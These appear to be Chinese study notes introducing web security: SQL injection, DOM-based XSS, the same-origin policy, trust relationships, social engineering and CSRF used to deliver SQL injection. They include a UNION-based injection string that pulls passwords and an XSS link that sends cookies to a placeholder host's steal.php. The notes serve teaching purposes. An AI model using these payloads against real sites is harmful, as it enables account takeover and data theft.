1.1 数据与指令
1.1.1 SQL注入攻击的发生
select username,email,desc from users where id=1;
如果用户访问连接http://www.xxx.com/user.php?id=1
来获取自身的账号信息。当访问这样的链接时,后端会执行上面这条SQL语句,并返回对应的id的用户信息到前端页面上。
如果提交1 union select password,1,1 from users
,
则组成链接http://www.xxx.com/user.php?id=1 union select password,1,1 from users
组成的sql语句select username,email,desc from users where id=1 union select password,1,1 from user
1.1.2 XSS跨站脚本攻击的发生
<script>
eval(location.hash.substr(1));
</script>
将这段代码保存到http://www.xxx.com/info.html
中,
js的内置函数eval可以动态执行js语句。
location.hash
获取的是链接http://www.xxx.com/info.html#callback
中的#符号及其后面的内容。
substr是字符串截取函数,表示截取#符号后面的内容。
如果攻击者构造以下链接:
http://www.xxx.com/info.html#new Image().src="http://www.aaa.com/steal.php?c="+escape(document.cookie)
浏览器解释执行后eval(location.hash.substr(1))
会变为eval('new Image().src="http://www.aaa.com/steal.php?c="+escape(document.cookie)')
当被攻击者访问链接时,cookies会话信息就会被盗取。
一般情况下,黑客利用该cookies可以登录被攻击者的账号并进行越权操作
一般情况:有时候由于种种原因不能登录。比如:有的字段有http only保护,导致Cookies不完整;或者后台限制ip,无法登录。
1.2 浏览器的同源策略
同源策略是众多安全策略的一个,是web层面上的策略。
同源策略规定:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。
关键词:不同域、客户端脚本、授权、读写、资源。
1.2.1 不同域或同域
同域要求两个站点同协议、同域名、同端口。
例:http://www.foo.com
与以下站点是否同域
两个站点同域就是指它们同源
1.2.2 客户端脚本
主要指JavaScript(各个浏览器原生态支持的脚本语言)、ActionScript(Flash的脚本语言),已经JavaScript和ActionScript都遵循的ECMAScript脚本标准。flash提供通信接口,使它们可以方便地互相通信。
客户端的攻击计划都是基于这两个脚本语言进行的。
1.2.3 授权
比如:H5新标准中提到关于AJAX跨域访问的情况,默认情况下是不允许跨域访问的,只有目标站点明确返回HTTP响应头,那么站点上的客户端脚本就有权通过AJAX技术对其数据进行读写操作。
AJAX让数据在后台进行异步传输,常见的使用场景有:对网页的局部数据进行更新时,不需要刷新整个网页,以节省宽带资源。
AJAX也是黑客进行WEB客户端攻击的常用技术,因为这样攻击可以悄无声息的在浏览器后台进行。
1.2.4 读写权限
有的只有读权限,有的可以读和写。
比如http请求头的Referer只可读,而document.cookie则可以读和写。
1.2.5 资源
只要是数据,都可以认为是资源。
同源策略的资源指的是web客户端的资源。
资源包括:HTTP消息头、整个DOM树、浏览器存储。
1.3 信任与信任关系
- 一个web服务器,如果其上的网站没有权限分离,没控制好信任关系,则整体安全性就由安全性最差的网站决定。
- 一个安全性非常好的网站可能会因为建立了不可靠信任关系,导致网站被黑。
1.4 社会工程学作用
常用社工辅助技巧:Google Hack、SNS垂直搜索、各种收集的数据库集合查询。
1.5 攻防不单一
借用CSRF完成渗透:
- 提交包含恶意sql语句的后台链接(事先做好URL的各种编码转换)给管理员,比如留言、评论、申请友情链接等。
- 管理员登录web被诱骗打开链接
- 发生CSRF(跨站请求伪造)了,此时就会以管理员权限进行后续的指令执行。